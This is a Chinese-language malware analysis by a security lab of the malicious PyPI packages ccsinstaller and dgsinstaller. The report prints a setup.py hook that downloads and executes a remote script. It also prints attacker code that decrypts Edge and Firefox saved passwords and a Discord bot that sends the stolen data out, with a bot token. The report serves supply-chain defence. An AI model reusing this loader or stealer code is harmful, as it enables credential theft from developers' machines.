【天问】PyPI 反沙箱恶意下载器分析

最近,天问Python供应链威胁监测模块首次发现了使用反沙箱技术的恶意Python包,其集成多个窃取用户隐私信息的GitHub开源项目。它可以窃取用户浏览器中的密码,监控用户键盘输入,获取IP、位置、用户名等敏感信息。分析表明,攻击者开始组合现有武器库,尝试扩大单次攻击产生的效益,值得警惕。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

1、恶意下载器 ccsinstaller

11月22号,天问Python供应链威胁监测模块发现了一个以下载器命名的恶意包ccsinstaller。其在安装的启动文件setup.py中从远端服务器下载了一个恶意python脚本并执行。setup.py的内容如下所示

from setuptools import setup
import urllib.request
import os

def download_and_execute():
    url = 'https://firebasestorage.googleapis.com/v0/b/sfo-27-02-23.appspot.com/o/477608%2Fstub.py?alt=media&token=4665239b-0579-4d95-87e2-b6bcd9cca217'
    response = urllib.request.urlopen(url)
    code = response.read()
    exec(code)
    
setup(...)

download_and_execute()

从代码中,我们可以观察到攻击者从Google的Firebase云存储中下载了一个stub.py文件,并在内存进行执行。我们下载分析了stub.py,发现了其攻击代码中首次集成了反沙箱的源码。

2、Anti-Debug

stub.py

...

def user_check():...

def registry_check():...

def process_check():...

def hwid_check():...

观察stub.py中代码,我们发现了其集成了反沙箱的代码。我们在GitHub中找到了相关代码的开源仓库BLX-Stealer

经过对比查找,我们猜测这部分反沙箱的代码均源自于GitHub的开源项目Python-Anti-Debug。反沙箱代码的使用说明攻击者开始有意识地逃避杀毒软件的分析检测,使恶意包能够存活更长时间。

然而stub.py并未完全复用BLX-Stealer的代码,而是集成了多个窃取用户隐私的GitHub开源项目,并进行了部分修改。

3、武器库集成

经过分析,我们发现stub.py的代码并不完全等同于任何一个GitHub中现有的Token窃取工具仓库。经过详细的比对,我们认为stub.py集成了多个开源攻击项目的代码,以实现单次攻击的效益最大化。具体的开源项目文件如下所示:

  • BLX-Stealer 检测是否为特定的沙箱环境,是则退出脚本执行
  • Python-Trojan/main.py 获取系统信息,如应用程序,GPU,操作系统等
  • Discord-Token-Grabber-V2/token_grabber.py 窃取用户本地目录下的各种token,密码等
  • Chrome-Password-Stealer/program.py 解密谷歌浏览器加密存储在本地的各种网站密码
  • pythoncode-tutorials/ethical-hacking/chrome-cookie-extractor/chrome_cookie_extractor.py 从谷歌浏览器的本地cookie数据库中解密得到不同网站的cookie

这些开源仓库的代码均可被用作窃取用户隐私信息。除此之外,我们从代码分析中发现攻击者不止是简单地集成了GitHub中开源的武器库,而且还做了大量补充定制化,使得这个攻击脚本能力更加强大。

例如,攻击者增加了对于Microsoft Edge和Firefox浏览器的密码窃取,目前GitHub没有发现类似的代码。

def getEdgePasswords():
    data_path = os.path.expanduser('~') + '/AppData/Local/Microsoft/Edge/User Data/Default/'
    db_path = os.path.join(data_path, 'Login Data')
    extractedData = []

    try:
        conn = sqlite3.connect(db_path)
        cursor = conn.cursor()
        cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
        login_data = cursor.fetchall()

        for userdatacombo in login_data:
            if userdatacombo[1] is not None and userdatacombo[2] is not None and userdatacombo[1] != "" and userdatacombo[2] != "":
                url = userdatacombo[0]
                username = decrypt_data(userdatacombo[1])
                password = decrypt_data(userdatacombo[2])
                data = "URL: " + url + "\nUsername: " + username + "\nPassword: " + password
                extractedData.append(data)

    except Exception as e:
        print("Error retrieving Edge passwords:", e)
        
def getFirefoxPasswords():
    data_path = os.path.expanduser('~') + '/AppData/Roaming/Mozilla/Firefox/Profiles/'
    profiles = os.listdir(data_path)
    extractedData = []

    for profile in profiles:
        if profile.endswith('.default'):
            db_path = os.path.join(data_path, profile, 'logins.json')
            try:
                with open(db_path, 'r', encoding='utf-8') as file:
                    logins = json.load(file)
                    for login in logins['logins']:
                        url = login['hostname']
                        username = login['encryptedUsername']
                        password = login['encryptedPassword']
                        decrypted_username = decrypt_data(username)
                        decrypted_password = decrypt_data(password)
                        data = "URL: " + url + "\nUsername: " + decrypted_username + "\nPassword: " + decrypted_password
                        extractedData.append(data)
            except Exception as e:
                print("Error retrieving Firefox passwords:", e)

对于窃取得到的这些信息,攻击者通过Discord Bot进行回传。

4、Discord Bot信息回传

stub.py中导入了GitHub开源项目discord,其利用Discord Bot对窃取到的用户信息回传到Discord的服务器。

stub.py

from discord.ext import commands 
...

bot = commands.Bot(command_prefix='.', help_command=None, intents=intents)
...

@bot.event
async def on_ready():
    guild_id = 1121402026866262036
    category_id = 1121402027369566261
    guild = bot.get_guild(guild_id)
    channel = await category.create_text_channel(channel_name, overwrites=overwrites)
    ip = get('https://api.ipify.org').text
    embed = discord.Embed(title=f"💉 𝕭𝖑𝖆𝖟𝖊𝕾𝖙𝖊𝖆𝖑𝖊𝖗 - {os.getlogin()} 💉", color=0xB22222)
    embed.add_field(name="🌐 IP", value=f"```{ip}```", inline=True)
    ...
    await channel.send(embed=embed)
    await bot.change_presence(activity=discord.Game(name="𝕭𝖑𝖆𝖟𝖊𝕾𝖙𝖊𝖆𝖑𝖊𝖗 𝖔𝖓 𝕿𝖔𝖕"))
    
bot.run("MTE3MzA0MDIxNTQ3MzAwODY3OQ.GPBMf3.zrHCQ27rvt1l8MwDdxbPOfkJmGgfmL73eosVkc")

guild_id 代表了Discord中一个服务器id,Discord中的服务器相当于一个聊天群组,category_id为服务器中划分的类别id。Discord中可以添加机器人进行收发信息操作,bot.run("token")即为机器人启动的指令。

5、攻击实测及防范

我们实际测试了这个攻击脚本,由于其导入了大量第三方包,如果受害者主机环境中不包含这些第三方包,则脚本无法成功执行。但攻击者可以在攻击代码中添加相关的pip install指令来解决这个问题,如我们在2023年Q2恶意包回顾(一)中提及的BlackCap Grabber就使用了相关攻击技术。

我们简化了部分代码,复现这个样本的攻击过程。如下图所示,机器人会将窃取的IP和MAC地址通过Discord服务器回传给攻击者,这些服务器可以随时删除,所以较难溯源。

针对PyPI的恶意包攻击,用户应该注意不要轻易下载不熟悉的第三方包,同时可以通过PyPI官方的网站inspector查看这些包的源码,看其是否在安装过程中从第三方网站下载恶意文件。我们的天问Python供应链威胁监测模块也会实时监控PyPI生态中的Python包,并及时报告恶意包的相关内容。

6、恶意包列表

包名版本作者上传时间
ccsinstaller1.0.0julianlopez232023-11-22T23:10:19
ccsinstaller1.0.1julianlopez232023-11-22T23:14:53
ccsinstaller1.0.2julianlopez232023-11-22T23:20:44
dgsinstaller1.0.0ziffeb2023-11-22T23:35:10